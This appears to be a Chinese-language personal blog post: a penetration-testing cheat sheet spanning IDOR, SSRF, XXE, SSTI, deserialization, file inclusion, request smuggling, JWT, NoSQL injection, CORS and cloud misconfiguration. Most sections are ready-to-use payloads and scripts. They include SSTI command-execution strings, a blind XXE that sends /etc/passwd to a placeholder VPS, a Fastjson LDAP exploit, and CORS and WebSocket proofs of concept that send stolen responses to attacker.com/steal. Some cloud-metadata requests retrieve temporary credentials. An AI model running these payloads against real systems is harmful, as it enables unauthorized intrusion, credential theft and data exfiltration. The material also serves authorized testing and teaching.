xiokuの小さな世界

xioku的小破站

渗透测试常见问题汇总

发表于 分类于

生成日期：2026-07-08
覆盖范围：已覆盖 WAF绕过 / 验证码绕过 / JKU注入 / 致远OA / 等专题之外的常见问题
适用场景：渗透测试 / 红蓝对抗 / SRC 漏洞挖掘

目录

一、越权漏洞（IDOR）

1.1 漏洞原理

越权漏洞（Insecure Direct Object Reference，IDOR）是 SRC 平台最常出现的高危漏洞之一。某头部安全厂商 2024 年报告显示，78% 的企业 Web 系统存在越权漏洞。其本质是服务端未对用户权限做充分校验，导致用户可以访问或操作不属于自己的资源。

1.2 分类

类型 说明 危害
水平越权 同级用户之间越权访问（如 A 用户查看 B 用户的订单） 🔴 高危
垂直越权 低权限用户访问高权限功能（如普通用户访问管理员后台） 🔴 高危
交叉越权 同时涉及水平和垂直（如普通用户修改管理员的订单） 🔴 严重
未授权访问 未登录即可访问需认证的接口 🔴 高危

1.3 常见发现方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 1. 修改 ID 参数（水平越权测试）
GET /api/order/10001 HTTP/1.1
Cookie: session=USER_A

# 改为访问其他用户的订单
GET /api/order/10002 HTTP/1.1  ← 修改 ID
Cookie: session=USER_A

# 2. 修改用户标识（垂直越权测试）
GET /api/admin/users HTTP/1.1
Cookie: session=普通用户

# 修改 Cookie 或 Header
GET /api/admin/users HTTP/1.1
Cookie: session=普通用户
X-Forwarded-For: 127.0.0.1
X-Role: admin

# 3. 遍历 ID 参数
/api/user?id=1  → 返回用户1资料
/api/user?id=2  → 返回用户2资料（如果返回，存在水平越权）

# 4. 修改请求方法
# 原请求: GET /api/user/100（查询）
# 测试: PUT /api/user/100（修改）
# 测试: DELETE /api/user/100（删除）

1.4 批量检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
"""水平越权批量检测"""
import requests

def check_idor(base_url, session_cookie, user_ids):
    results = []
    for uid in user_ids:
        r = requests.get(
            f"{base_url}/api/user/{uid}",
            cookies={"session": session_cookie}
        )
        if r.status_code == 200 and "password" in r.text.lower():
            results.append(f"[!] 越权成功: /api/user/{uid}")
        elif r.status_code == 200:
            results.append(f"[?] 可访问: /api/user/{uid} ({len(r.text)}B)")
        else:
            results.append(f"[-] 被拦截: /api/user/{uid} → HTTP {r.status_code}")
    return results

1.5 检测要点

  • URL/参数中的 ID：/order/123、?user_id=456、/api/document/abcdef
  • 请求体中的引用：JSON 中的 "userId": 100、"account": "13900000001"
  • Cookie/Session 可篡改：修改 Cookie 中的用户标识
  • Header 伪造：X-Forwarded-User: admin、X-Role: admin、X-UID: 1
  • 接口未校验权限：POST 接口能操作他人数据、DELETE 能删除他人资源
  • 模糊 ID 可枚举：自增数字 ID 逐一枚举

二、SSRF 服务端请求伪造

2.1 漏洞原理

SSRF（Server-Side Request Forgery）是攻击者控制服务端发起请求的漏洞。攻击者利用 SSRF 可以探测内网、攻击内部系统、获取云元数据。

2.2 常见存在位置

功能点 示例 说明
远程资源加载 ?url=https://target.com/image 头像/文件加载
Webhook 回调 ?webhook=http://callback.me 第三方通知
图片处理 ?img=http://remote.com/1.jpg 图片裁剪/缩放
API 代理 ?api=http://backend:8080/ API 转发
文档转换 ?doc=http://external.com/report PDF/HTML 转换
SSO 认证回调 ?acs=http://sso.example.com/ SAML 回调

2.3 利用方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 1. 内网 IP 探测
?url=http://127.0.0.1:8080/
?url=http://10.0.0.1:22/
?url=http://172.16.0.1:3306/

# 2. 云元数据获取（AWS）
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/user-data/

# 3. 云元数据（阿里云）
?url=http://100.100.100.200/latest/meta-data/
?url=http://100.100.100.200/latest/user-data/

# 4. 文件读取（file:// 协议）
?url=file:///etc/passwd
?url=file:///proc/self/environ

# 5. DNS 外带（盲测 SSRF）
?url=http://YOUR_BURP_COLLABORATOR.oastify.com/x

# 6. Gopher 协议（Redis/MySQL 未授权利用）
?url=gopher://127.0.0.1:6379/_*2%0d%0a...

# 7. 端口扫描（根据响应时间/内容判断）
?url=http://127.0.0.1:22   → 响应快，可能是开放
?url=http://127.0.0.1:23   → 响应慢，可能是关闭

2.4 绕过技术

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 1. DNS 重绑定
?url=http://127.0.0.1.nip.io:8080/
?url=http://1.2.3.4.xip.io:8080/

# 2. URL 解析差异（使用 @）
?url=http://google.com@127.0.0.1:8080/

# 3. IPv6 绕过
?url=http://[::1]:8080/
?url=http://[0:0:0:0:0:ffff:127.0.0.1]:8080/

# 4. 短域名
?url=http://0/  (127.0.0.1)
?url=http://2130706433/ (127.0.0.1)

# 5. Unicode 绕过
?url=http://①⑨②.①⑥⑧.0.1:8080/

# 6. 302 跳转绕过
# 在 VPS 上放置 302 跳转到内网地址
?url=http://YOUR_VPS/redirect.php

三、CSRF 跨站请求伪造

3.1 漏洞原理

CSRF（Cross-Site Request Forgery）利用用户已登录的身份，在用户不知情的情况下伪造请求执行操作。

3.2 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 方法 1: 检查关键操作是否有 Token
# 抓包观察 POST/PUT/DELETE 请求
POST /api/transfer HTTP/1.1
Cookie: session=xxx
Content-Type: application/json

{"to": "attacker", "amount": 10000}
# 缺少 csrf_token 或 X-CSRF-Token 头 → 可能存在 CSRF

# 方法 2: 验证 Referer / Origin 检查
# 修改 Referer 为第三方域名，仍能正常执行 → 存在 CSRF

# 方法 3: SameSite Cookie 检查
# Cookie 中 Set-Cookie 未设置 SameSite=Strict/Lax → 存在 CSRF

3.3 POC 构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!-- GET 类型 CSRF -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" style="display:none">

<!-- POST 类型 CSRF -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
  <input name="to" value="attacker">
  <input name="amount" value="10000">
</form>
<script>document.getElementById('csrf').submit()</script>

<!-- JSON 类型 CSRF -->
<form action="https://bank.com/transfer" method="POST" enctype="text/plain">
  <input name='{"to":"attacker","amount":10000,"ignored":"' value='"}'>
</form>

3.4 防御检测

  • SameSite=Lax/Strict Cookie 是否设置
  • Origin/Referer 头是否校验
  • 是否有 CSRF Token（且 Token 是否绑定 session）
  • 关键操作是否有二次验证（密码/验证码）

四、XXE 外部实体注入

4.1 漏洞原理

XXE（XML External Entity）发生在 XML 解析器处理用户可控的 XML 输入时，未禁用外部实体加载，导致攻击者可读取文件、发起 SSRF、甚至 RCE。

4.2 检测方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# 1. 修改 Content-Type 为 text/xml 或 application/xml
# 并将请求体改为 XML 格式

# 2. 最简单的 XXE 测试
POST /api HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe "test123">
]>
<root>&xxe;</root>

# 3. 文件读取
POST /api HTTP/1.1
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

# 4. SSRF 探测
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://YOUR_BURP_COLLABORATOR.oastify.com">
]>
<root>&xxe;</root>

4.3 盲 XXE 外带

1
2
3
4
5
6
7
8
9
10
11
<!-- 盲 XXE：通过 HTTP 外带数据 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://YOUR_VPS/evil.dtd">
  %dtd;
]>
<root>&send;</root>

<!-- evil.dtd 内容 -->
<!ENTITY send SYSTEM "http://YOUR_VPS/?data=%file;">

4.4 XXE 利用链总结

利用方式 Payload 说明
文件读取 file:///etc/passwd 最基础
SSRF http://169.254.169.254/ 云元数据
端口扫描 http://127.0.0.1:8080/ 内网探测
RCE（PHP） expect://id 需安装 expect 扩展
RCE（Java） jar:http://...!/ Jar 协议
拒绝服务 实体递归（Billion Laughs） DOS 攻击
FTP 外带 ftp://YOUR_VPS/ 绕过 HTTP 限制

4.5 语言特性

语言 XXE 默认状态 防御方式
PHP 默认启用 libxml_disable_entity_loader(true)
Java 默认启用 DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
Python 部分启用 parser = etree.XMLParser(resolve_entities=False)
.NET 4.5.2+ 默认禁用 旧版本需手动设置 XmlReaderSettings.ProhibitDtd = true

五、SSTI 模板注入

5.1 漏洞原理

SSTI（Server-Side Template Injection）是攻击者将恶意模板代码注入到模板引擎中，导致服务器端执行恶意代码。常见于 Java（Freemarker / Velocity）、Python（Jinja2 / Mako）、PHP（Smarty / Twig）、Ruby（ERB）等模板引擎。

5.2 常用检测 Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# Java (Freemarker)
${7*7}          → 49
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# Java (Velocity)
#set($x=7*7) $x  → 49
#set($x=$runtime.exec("id"))

# Python (Jinja2)
{{7*7}}         → 49
{{7*'7'}}       → 7777777
{{config}}
{{''.__class__.__mro__[1].__subclasses__()}}

# Python (Mako)
${7*7}
<% import os %><% x=os.popen("id").read() %>${x}

# PHP (Smarty)
{$smarty.version}
{php}echo shell_exec("id");{/php}
{system('id')}

# Ruby (ERB)
<%= 7*7 %>
<%= system('id') %>

# Node.js (Pug)
#{7*7}
- var x = process.mainModule.require('child_process').execSync('id')

5.3 通用检测流程

1
2
3
4
5
1. 数学运算：  {{7*7}} / ${7*7} / #{7*7}
   └→ 返回 49 → 确认 SSTI 存在
2. 确定模板引擎类型（根据响应特征、框架指纹）
3. 获取 RCE（根据引擎类型选择对应的 payload）
4. 绕过 WAF（如果被拦截，尝试编码/注释/换行）

六、反序列化漏洞

6.1 漏洞原理

反序列化漏洞发生在应用程序还原序列化数据时，未经验证的数据被反序列化，攻击者可以构造恶意的序列化数据导致远程代码执行。

6.2 常见语言与工具

语言 常用库 检测标志 利用工具
Java ObjectInputStream, readObject() rO0AB 开头（Base64）或 aced0005（Hex） ysoserial
PHP unserialize() O:数字:"ClassName" 格式 PHPGGC
Python pickle.loads() gASV 或 80 开头 手动构造
Ruby Marshal.load() \x04\x08 开头 手动构造
.NET BinaryFormatter 特定二进制格式 ysoserial.net
Node.js node-serialize JSON 格式 手动构造

6.3 Java 反序列化快速检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 1. DNS 外带检测（最安全）
# 在请求中发送 DNS 查询
生成 payload: java -jar ysoserial.jar CommonsCollections1 "ping YOUR_BURP_COLLABORATOR.oastify.com" | base64
发送到目标
如果收到 DNS 请求 → 存在反序列化漏洞

# 2. 常见链
ysoserial - CommonsCollections1/2/3/4/5/6/7
ysoserial - Jdk7u21
ysoserial - URLDNS（最准确，无副作用）
ysoserial - CommonsBeanutils1
ysoserial - Fastjson/Jackson

# 3. 协议检测
# 检查 Content-Type: application/x-java-serialized-object
# 检查二进制流开头 aced0005
# 检查 Base64 编码的 rO0AB 开头

6.4 Fastjson 反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 检测
POST /api HTTP/1.1
Content-Type: application/json

{"@type": "java.lang.Runtime"}
# 响应异常 → 可能存在

# 利用（需要 VPS 上放恶意 class 文件）
POST /api HTTP/1.1
Content-Type: application/json

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://YOUR_VPS/Exploit",
  "autoCommit": true
}

七、文件包含漏洞（LFI/RFI）

7.1 漏洞原理

类型 原理 条件
LFI（本地文件包含） 包含服务器本地文件 allow_url_include=Off
RFI（远程文件包含） 包含远程服务器文件 allow_url_include=On

7.2 LFI 利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 1. 文件读取
?file=../../../etc/passwd
?file=....//....//....//etc/passwd
?file=..\\..\\..\\windows\\win.ini

# 2. PHP 封装器读取源码
?file=php://filter/read=convert.base64-encode/resource=index.php

# 3. PHP 封装器命令执行
?file=php://input
POST: <?php system('id');?>

# 4. PHP ZIP 封装器（需上传 ZIP）
?file=zip://shell.zip#shell.txt

# 5. PHP phar 反序列化
?file=phar://uploaded.phar

# 6. Log Poisoning（日志注入）
# 先写入恶意内容到 User-Agent
# 然后包含日志文件
?file=../../../var/log/apache2/access.log

# 7. /proc/self/environ
?file=../../../proc/self/environ
# 在 User-Agent 中注入 PHP 代码

# 8. /proc/self/fd/N
?file=../../../proc/self/fd/12
# N 从 0 开始递增尝试

# 9. PHP session 文件
?file=../../../tmp/sess_SESSIONID
# 在 session 中注入恶意内容

7.3 RFI 利用

1
2
3
4
5
6
# 1. 直接包含远程文件
?file=http://YOUR_VPS/shell.txt
?file=http://YOUR_VPS/shell.txt?

# 2. 通过 302 跳转绕过
?file=http://YOUR_VPS/302.php

7.4 绕过技巧

1
2
3
4
5
6
7
8
9
10
11
12
# 1. 双重编码
?file=%252e%252e%252fetc/passwd

# 2. 截断（PHP < 5.3.4）
?file=../../../etc/passwd%00

# 3. 长路径截断（PHP < 5.2）
?file=../../../etc/passwd....................................

# 4. 后缀绕过（利用 %00 或 ?）
?file=../../../etc/passwd%00.jpg
?file=../../../etc/passwd?

八、HTTP 请求走私

8.1 漏洞原理

利用前端（WAF/CDN）和后端服务器对 Content-Length 和 Transfer-Encoding 解析不一致，导致攻击者可以”走私”恶意的 HTTP 请求。

8.2 类型

类型 前端 后端 典型场景
CL.TE 使用 Content-Length 使用 Transfer-Encoding Nginx → Apache
TE.CL 使用 Transfer-Encoding 使用 Content-Length Apache → Nginx
TE.TE 两者都支持但可混淆 两者都支持但可混淆 各类中间件组合

8.3 检测 Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# CL.TE 检测
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

# 响应超时或异常 → 存在 CL.TE

# TE.CL 检测
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

5e
POST /smuggled HTTP/1.1
Host: target.com
Content-Length: 15

x=1
0

8.4 利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
"""HTTP 请求走私检测"""
import socket

def test_cl_te(host, port):
    """检测 CL.TE 走私"""
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect((host, port))
    
    payload = (
        "POST / HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        "Content-Length: 6\r\n"
        "Transfer-Encoding: chunked\r\n"
        "\r\n"
        "0\r\n"
        "\r\n"
        "G"
    )
    
    sock.send(payload.encode())
    sock.send(b"GET /404 HTTP/1.1\r\nHost: localhost\r\n\r\n")
    
    try:
        response = sock.recv(4096).decode()
        if "404" in response or "Not Found" in response:
            print("[+] CL.TE 走私成功! 检测到 404")
        else:
            print(f"[-] 响应: {response[:200]}")
    except:
        print("[!] 超时，可能 CL.TE 存在")
    
    sock.close()

九、OAuth / SSO 认证绕过

9.1 常见漏洞

漏洞类型 说明 利用方式
开放重定向 OAuth callback URL 未绑定 劫持授权码
CSRF 绑定 state 参数缺失或可预测 伪造绑定
Token 泄露 access_token 在 URL 中泄露 Referer 泄露
Scope 提升 scope 参数可篡改 获取更高权限
Code 重用 authorization_code 未校验一次性 重放攻击
OpenID 伪造 ID Token 签名验证不严 伪造用户身份

9.2 OAuth 劫持

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. 检测 redirect_uri 是否绑死
# 修改 redirect_uri 为攻击者域名
https://oauth.target.com/auth?response_type=code&client_id=123&redirect_uri=https://attacker.com/callback

# 2. 检测 state 参数是否为空或可预测
# 删除 state 参数，仍能成功
# state 为固定值（如 "1"、"test"、"csrf"）

# 3. 检测 scope 是否可提升
# 修改 scope 为更高级别
https://oauth.target.com/auth?response_type=code&client_id=123&scope=read:admin

# 4. Code 重用
# 使用一次后的 code 再次尝试

十、GraphQL 安全

10.1 常见漏洞

漏洞 说明 检测
信息泄露 Introspection 查询泄露完整 Schema query { __schema { types { name } } }
SQL 注入 参数处理不当 常规注入测试
CSRF GraphQL 通常只用 POST 检测 CSRF Token
批量操作（Batching） 无速率限制 一次性查询大量数据
深度嵌套查询 递归查询导致 DOS 构造深层嵌套查询
授权缺失 单个 mutation 无权限校验 越权测试

10.2 探测与利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# 1. 探测 Introspection（获取 Schema）
query {
  __schema {
    types {
      name
      fields {
        name
        type {
          name
        }
      }
    }
  }
}

# 2. 批量查询（绕过速率限制）
query {
  u0: user(id: 1) { name email }
  u1: user(id: 2) { name email }
  u2: user(id: 3) { name email }
  # ... 一次性查询所有用户
}

# 3. 深度嵌套 DOS
query {
  user(id: 1) {
    friends {
      friends {
        friends {
          friends {
            # ... 深层嵌套
          }
        }
      }
    }
  }
}

十一、API 安全漏洞

11.1 API 常见漏洞矩阵

漏洞 说明 OWASP API Top 10 排名
批量分配（Mass Assignment） 参数绑定自动映射到对象字段 #1
失效的对象级授权 未校验用户是否有权访问对象 #1
过度的数据暴露 返回冗余的敏感字段 #3
速率限制缺失 无频率限制，可暴力破解 #4
失效的函数级授权 未校验用户是否有权调用接口 #5
批量赋值 传入非预期字段影响对象属性 #6
安全配置错误 默认配置/调试接口开放 #7

11.2 批量分配（Mass Assignment）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 正常请求
POST /api/user/register HTTP/1.1
Content-Type: application/json

{"username": "newuser", "password": "pass123"}

# 批量分配攻击（添加 isAdmin 字段）
POST /api/user/register HTTP/1.1
Content-Type: application/json

{"username": "newuser", "password": "pass123", "isAdmin": true, "role": "admin"}

# 其他常见可注入字段
{"credit": 999999, "balance": 1000000, "isVip": true, "subscription": "premium"}

11.3 速率限制绕过

1
2
3
4
5
6
7
8
9
10
# 1. 使用 X-Forwarded-For 伪造 IP
X-Forwarded-For: 1.2.3.4
X-Forwarded-For: 127.0.0.1
X-Original-For: 10.0.0.1

# 2. 批量查询（见 GraphQL 章节）
# 一次性请求多个资源

# 3. 使用大量 IP 代理池
# 4. 利用参数污染绕过

十二、业务逻辑漏洞

12.1 常见业务逻辑漏洞

漏洞类型 场景 利用方式
支付金额篡改 订单提交 修改 amount、price、total 为负值或 0.01
优惠券滥用 优惠活动 重复使用同一优惠券
积分篡改 积分兑换 修改积分数值
数量越界 商品购买 购买负数量或极大数量
运费绕过 满额包邮 篡改运费参数
多步骤跳过 业务流程 跳过中间步骤直接提交
竞争条件 抢购/领取 并发请求同一资源多次领取
密码重置绕过 找回密码 跳过验证步骤

12.2 支付篡改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 原始请求
POST /api/order/create HTTP/1.1
Content-Type: application/json

{"product_id": 1001, "quantity": 1, "price": 199.00, "total": 199.00}

# 篡改价格
POST /api/order/create HTTP/1.1
Content-Type: application/json

{"product_id": 1001, "quantity": 1, "price": 0.01, "total": 0.01}

# 篡改为负数
POST /api/order/create HTTP/1.1
Content-Type: application/json

{"product_id": 1001, "quantity": 1, "price": -199.00, "total": -199.00}

# 篡改数量
POST /api/order/create HTTP/1.1
Content-Type: application/json

{"product_id": 1001, "quantity": -1, "price": 199.00, "total": -199.00}

12.3 竞争条件（Race Condition）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
"""竞争条件检测 - 并发领取"""
import requests
import threading

def race_condition_test(url, params, threads=20):
    """并发测试同一接口"""
    results = []
    
    def send_request():
        r = requests.post(url, data=params, cookies={"session": "xxx"})
        results.append(r.status_code)
    
    # 同时发起多个请求
    ts = []
    for _ in range(threads):
        t = threading.Thread(target=send_request)
        ts.append(t)
    
    # 尽可能同时启动
    for t in ts:
        t.start()
    for t in ts:
        t.join()
    
    success = sum(1 for r in results if r == 200)
    print(f"[*] 并发 {threads} 次请求，成功 {success} 次")
    if success > 1:
        print("[!] 可能存在竞争条件漏洞")

12.4 业务流程绕过

1
2
3
4
5
6
7
8
9
10
11
12
# 正常的密码重置流程:
# Step 1: 发送验证码 → Step 2: 验证验证码 → Step 3: 重置密码

# 绕过方式 1: 直接访问 Step 3
POST /api/reset_password HTTP/1.1
{"phone": "13900000000", "code": "任意值", "new_password": "hacked"}

# 绕过方式 2: 复用验证码
# Step 2 验证通过后将 phone 改为其他用户

# 绕过方式 3: 修改响应包
# 将验证码验证失败的响应改为成功

十三、CORS 跨域配置错误

13.1 漏洞原理

CORS（Cross-Origin Resource Sharing）配置不当，允许任意域访问敏感接口。

13.2 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 1. 检查 Origin 回显
# 添加自定义 Origin 头
curl -H "Origin: https://evil.com" -I https://target.com/api/sensitive

# 响应包含以下头 → 存在风险
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true

# 2. 检查 Origin 为 null
curl -H "Origin: null" -I https://target.com/api/sensitive
# 如果返回 Access-Control-Allow-Origin: null → 可利用

# 3. 检查是否允许任意域
# 直接返回 Access-Control-Allow-Origin: * 且不带 Credentials → 低危
# 返回 * 带 Credentials → 严重配置错误

13.3 CORS POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!-- 窃取敏感数据的 CORS POC -->
<html>
<body>
  <script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://target.com/api/user/profile', true);
    xhr.withCredentials = true;
    xhr.onload = function() {
      // 将获取的数据发送到攻击者服务器
      fetch('https://attacker.com/steal?data=' + btoa(xhr.responseText));
    };
    xhr.send();
  </script>
</body>
</html>

十四、WebSocket 安全

14.1 常见问题

问题 说明 危害
未授权连接 无身份验证即可建立 WebSocket 高危
Cross-Origin WebSocket Hijacking 无 Origin 校验，跨站劫持 高危
消息注入 输入未校验，SQL/XSS 注入 高危
消息篡改 中间人篡改 WebSocket 消息 中危

14.2 检测

1
2
3
4
5
6
7
8
9
10
11
12
13
// Cross-Origin WebSocket Hijacking POC
// 在攻击者页面运行
var ws = new WebSocket('wss://target.com/ws');

ws.onopen = function() {
  // WebSocket 连接成功，说明无 Origin 校验
  ws.send('{"action":"getProfile"}');
};

ws.onmessage = function(event) {
  // 将获取的数据发送到攻击者服务器
  fetch('https://attacker.com/steal?data=' + btoa(event.data));
};

十五、JWT 其他攻击方式

15.1 常见 JWT 攻击速查表

攻击方式 说明 Payload / 方法
alg=none 将算法改为 none，移除签名 {"alg":"none","typ":"JWT"}
算法混淆 RS256 改为 HS256，用公钥签名 获取公钥后以 HS256 签名
弱密钥爆破 HS256 使用弱密钥 hashcat -m 16500 jwt.txt wordlist.txt
kid 注入 kid 参数指向可控制文件 "kid": "../../etc/passwd"
kid SQL 注入 kid 参数存在 SQL 注入 "kid": "1' UNION SELECT ..."
JKU 注入 已另文专题 详见 JKU注入.md

15.2 alg=none 攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python3
"""JWT alg=none 攻击"""
import base64
import json

def forge_none_jwt(payload):
    header = {"alg": "none", "typ": "JWT"}
    header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
    payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
    return f"{header_b64}.{payload_b64}."

# 使用
jwt = forge_none_jwt({"sub": "admin", "role": "admin"})
print(jwt)

15.3 算法混淆攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 1. 获取公钥（通常从 /jwks.json 或 /.well-known/jwks.json）
curl https://target.com/.well-known/jwks.json > public.pem

# 2. 修改 JWT 算法为 HS256，使用公钥作为密钥签名
python jwt_tool.py <JWT> -X a -pk public.pem

# 3. 使用 Python 实现
import jwt
with open("public.pem", "r") as f:
    public_key = f.read()

# 使用公钥作为 HS256 的密钥
forged = jwt.encode({"sub": "admin"}, public_key, algorithm="HS256")
print(forged)

十六、NoSQL 注入

16.1 MongoDB 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 原查询: db.users.find({username: input, password: input})

// 操作符注入
POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": {"$ne": ""}}
// 等价: db.users.find({username: "admin", password: {$ne: ""}})
// 密码不为空即通过 → 登录成功

// $regex 注入
POST /search HTTP/1.1
Content-Type: application/json

{"username": {"$regex": "^a"}}
// 枚举用户名首字母

// $where 注入
{"$where": "sleep(5000)"}
// 时间盲注检测

// $gt 范围查询
{"age": {"$gt": 0}}

16.2 URL 参数注入

1
2
3
4
# URL 参数注入（JSON 格式解析）
GET /api/users?username[$ne]=null HTTP/1.1
GET /api/users?username[$regex]=^admin HTTP/1.1
GET /api/login?username=admin&password[$ne]=1 HTTP/1.1

十七、子域名劫持

17.1 漏洞原理

DNS CNAME 记录指向一个已不存在或被释放的云服务，攻击者可以重新注册该服务接管子域名。

17.2 常见场景

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 1. GitHub Pages
sub.target.com CNAME username.github.io
# GitHub Pages repo 已删除 → 可注册

# 2. Heroku
sub.target.com CNAME app.herokuapp.com
# Heroku app 已删除 → 可注册

# 3. AWS S3
sub.target.com CNAME bucket.s3.amazonaws.com
# S3 bucket 已删除 → 可创建同名 bucket

# 4. CloudFront
sub.target.com CNAME d123.cloudfront.net
# CloudFront 已删除 → 可创建

# 5. Azure / GCP / Shopify / Tumblr 等

17.3 检测工具

1
2
3
4
5
6
7
8
# subjack - 子域名劫持检测
subjack -d target.com -w subdomains.txt -o results.txt

# subzy - 子域名劫持检测
subzy run --target target.com

# nuclei 模板
nuclei -t nuclei-templates/takeovers/ -l subdomains.txt

十八、云安全配置错误

18.1 AWS 常见问题

问题 检测命令 危害
S3 公开访问 aws s3 ls s3://bucket-name 数据泄露
IAM 权限过大 aws iam list-attached-user-policies 提权
EC2 元数据泄露 SSRF → 169.254.169.254/latest/meta-data/ 凭据泄露
Lambda 注入 Lambda 函数未做输入校验 代码执行
未加密快照 aws ec2 describe-snapshots 数据泄露

18.2 阿里云 OSS 公开访问

1
2
3
4
5
6
7
# 检测 OSS Bucket 是否公开
curl https://bucket-name.oss-cn-hangzhou.aliyuncs.com/
curl https://bucket-name.oss-cn-hangzhou.aliyuncs.com/?max-keys=100

# 元数据 SSRF 获取临时凭证
curl http://100.100.100.200/latest/meta-data/
curl http://100.100.100.200/latest/meta-data/ram/security-credentials/

十九、渗透测试常见问题速查表

19.1 按漏洞类型速查

漏洞类型 经典检测方式 常用工具 危害等级
IDOR 越权 修改 ID/用户标识参数 BurpSuite Repeater 🔴 高危
SSRF 内网 IP 探测 + DNS 外带 Burp Collaborator 🔴 高危
CSRF 检查 Token/Origin/Referer BurpSuite + POC HTML 🟡 中危
XXE XML 实体注入 + 文件读取 BurpSuite 🔴 高危
SSTI {{7*7}} / ${7*7} 测试 手动 + PayloadsAllTheThings 🔴 高危
反序列化 rO0AB 开头 / DNS 外带 ysoserial / PHPGGC 🔴 严重
LFI/RFI ../../../etc/passwd SecLists 🔴 高危
HTTP 走私 CL.TE / TE.CL 测试 BurpSuite Smuggler 插件 🟡 中危
OAuth 绕过 Redirect URI / State 校验 BurpSuite 🔴 高危
GraphQL Introspection 查询 GraphQL Voyager / InQL 🟡 中危
业务逻辑 篡改金额/数量/跳过步骤 BurpSuite Repeater 🔴 高危
CORS 错误 Origin 反射 + 凭据 BurpSuite + POC HTML 🟡 中危
JWT 攻击 alg=none / 弱密钥 jwt_tool / hashcat 🔴 高危
NoSQL 注入 $ne / $regex 操作符 BurpSuite 🔴 高危
子域名劫持 DNS CNAME 验证 subjack / subzy 🟡 中危
云配置错误 公开 Bucket / 元数据 aws-cli / cloud_enum 🔴 高危

19.2 按渗透测试阶段速查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
信息收集期
├── 子域名枚举（容易忽略子域名劫持）
├── 端口扫描（容易忽略 UDP 端口）
├── 指纹识别（注意 WAF/CDN）
├── 目录枚举（SecLists + ffuf）
├── 搜索引擎（Google Dork / FOFA / Hunter）
└── GitHub 泄露（git爬取敏感信息）

漏洞发现期
├── SQL注入 → 常用绕过（注释/编码/等价函数）
├── XSS → 注意 CSP / WAF 绕过
├── 文件上传 → 扩展名/内容/MIME 绕过
├── 命令执行 → 通配符/编码/变量拼接
├── 越权（IDOR） → 水平/垂直/交叉
├── SSRF → 内网/云元数据/Gopher
├── XXE → 文件读取/SSRF/盲打外带
├── SSTI → 确定模板引擎 → RCE
├── 反序列化 → ysoserial/PHPGGC
├── 业务逻辑 → 支付/优惠券/竞争条件
└── API安全 → 批量分配/速率限制

权限提升期
├── Linux 内核提权
├── Windows 内核提权
├── SUID/SGID 提权
├── Sudo 配置错误
├── Docker 逃逸
├── 数据库提权（xp_cmdshell 等）
├── 云服务提权（IAM 配置错误）
└── 容器/编排系统提权

横向移动期
├── SSH 密钥复用
├── Pass-the-Hash
├── Kerberoasting
├── 内网 DNS 劫持
├── 内网敏感信息遍历
└── 云元数据获取临时凭证

